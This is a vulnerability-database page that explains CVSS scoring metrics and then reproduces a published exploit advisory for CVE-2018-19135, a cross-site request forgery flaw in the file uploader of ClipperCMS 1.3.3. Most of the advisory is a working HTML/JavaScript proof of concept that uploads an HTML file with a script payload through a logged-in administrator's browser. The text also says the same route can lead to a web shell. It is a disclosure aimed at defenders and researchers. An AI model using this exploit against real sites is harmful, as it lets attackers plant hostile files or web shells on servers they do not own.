The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: ClipperCMS 1.3.3 Cross Site Request Forgery
# Exploit Title: ClipperCMS 1.3.3 File Upload CSRF Vulnerability
# Date: 2018-11-11
# Exploit Author: Ameer Pornillos
# Website: http://ethicalhackers.club
# Vendor Homepage: http://www.clippercms.com/
# Software Link: https://github.com/ClipperCMS/ClipperCMS/releases/tag/clipper_1.3.3
# Version: 1.3.3
# Tested on: Windows 10 x64 (XAMPP, Firefox)
# CVE : CVE-2018-19135
* Description:
ClipperCMS 1.3.3 does not have CSRF protection on its kcfinder file upload
which is being used by default. This can be used by an attacker to perform
actions for an admin (or any user with file upload capability). With this
vulnerability, it can automatically upload file/s (by default it allows
aac,au,avi,css,cache,doc,docx,gz,gzip,htm,html,js,mp3,mp4,mpeg,mpg,ods,odp,odt,pdf,ppt,pptx,rar,tar,tgz,txt,wav,wmv,xls,xlsx,xml,z,zip
as file types). Note that web shell that can be used for remote code
execution can be achieved depending on the file types being accepted.
Uploaded file can be accessed publicly on the "/assets/files" directory
(e.g. uploaded a malicious html file with filename: poc.html file =>
http://<clipperwebsite>/clipper/assets/files/poc.html).
This can lead for the website to be host unintended file/s.
*Steps to reproduce:
Admin (or user with file upload capability) logged in ClipperCMS 1.3.3 ->
browse/open a controlled website (e.g. by link or open PoC below in a
browser where admin/user logged in to ClipperCMS 1.3.3) with the poc below
-> file is uploaded and can be accessed on http://
<clipperwebsite>/clipper/assets/files/poc.html
*Proof of Concept:
PoC below will automatically upload a "poc.html" file with simple XSS
payload. Steps above are how to make use of the PoC.
<html>
<!-- CSRF Auto Upload File ClipperCMS PoC -->
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/clipperwebsite\/clipper\/manager\/media\/browser\/kcfinder\/browse.php?type=files&lng=en&act=upload",
true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------167248871811044278431417596280");
xhr.withCredentials = true;
var body =
"-----------------------------167248871811044278431417596280\r\n" +
"Content-Disposition: form-data; name=\"upload[]\";
filename=\"poc.html\"\r\n" +
"Content-Type: text/html\r\n" +
"\r\n" +
"\x3cscript\x3ealert(\'XSS\')\x3c/script\x3e\n" +
"\r\n" +
"-----------------------------167248871811044278431417596280\r\n"
+
"Content-Disposition: form-data; name=\"dir\"\r\n" +
"\r\n" +
"files\r\n" +
"-----------------------------167248871811044278431417596280--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
</body>
</html>
*Proof of Concept Demo:
Actual video demo of the vulnerability being exploited is available on:
https://youtu.be/bEYqb99MdYs
*Reference:
https://github.com/ClipperCMS/ClipperCMS/issues/494
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